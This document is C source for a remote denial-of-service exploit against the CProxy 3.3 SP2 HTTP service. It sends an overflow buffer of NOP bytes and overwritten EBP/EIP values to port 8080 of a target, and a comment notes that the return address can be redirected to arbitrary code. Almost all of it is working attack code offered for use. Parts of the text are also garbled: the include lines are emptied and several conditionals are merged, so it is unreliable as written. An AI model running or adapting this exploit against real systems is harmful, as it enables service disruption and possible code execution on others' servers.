Xploits an overflow vulnerability in CProxy 3.3

/*
* Remote Denial of Service for CProxy v3.3 - Service Pack 2
*
*
*
* This program xploits an overflow vulnerability in CProxy 3.3 SP2
* HTTP Service (8080), causing server shutdown
*
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BUFFERSIZE 247
#define NOP 0x90
// If you change this values you can change EIP and EBP values
// to redirect to a code that you want >;)
#define EIP 0x61616161
#define EBP 0x61616161

void usage(char *progname) {
fprintf(stderr,"Usage: %s  [eip] [ebp]\n",progname);
exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE], remotedos[1024];
unsigned long *long_ptr,eip=EIP, ebp=EBP;
int aux,sock;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;

fprintf(stderr,"\n-= Remote DoS for CProxy v3.3 ServicePack 2 - (C) |[TDP]| - H13 Team =-\n");

if (argc<2)>=3) eip+=atol(argv[2]);

if (argc>=4) ebp+=atol(argv[3]);

ptr=buffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-8);
ptr+=sizeof(buffer)-8;
long_ptr=(unsigned long*)ptr;
*(long_ptr++) = ebp;
*(long_ptr++) = eip;
ptr=(char *)long_ptr;
*ptr='\0';

bzero(remotedos, sizeof(remotedos));
snprintf(remotedos, sizeof(remotedos), "GET http://%s HTTP/1.0\r\n\r\n\r\n",buffer);

if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < he =" gethostbyname(argv[1]))" ip =" *(unsigned">h_addr;
} else {
if ((ip = inet_addr(argv[1])) == NULL) {
perror("inet_addr()");
return -1;
}
}

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_port = htons(8080);

fprintf(stderr,"\nEngaged...\n");
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) <>

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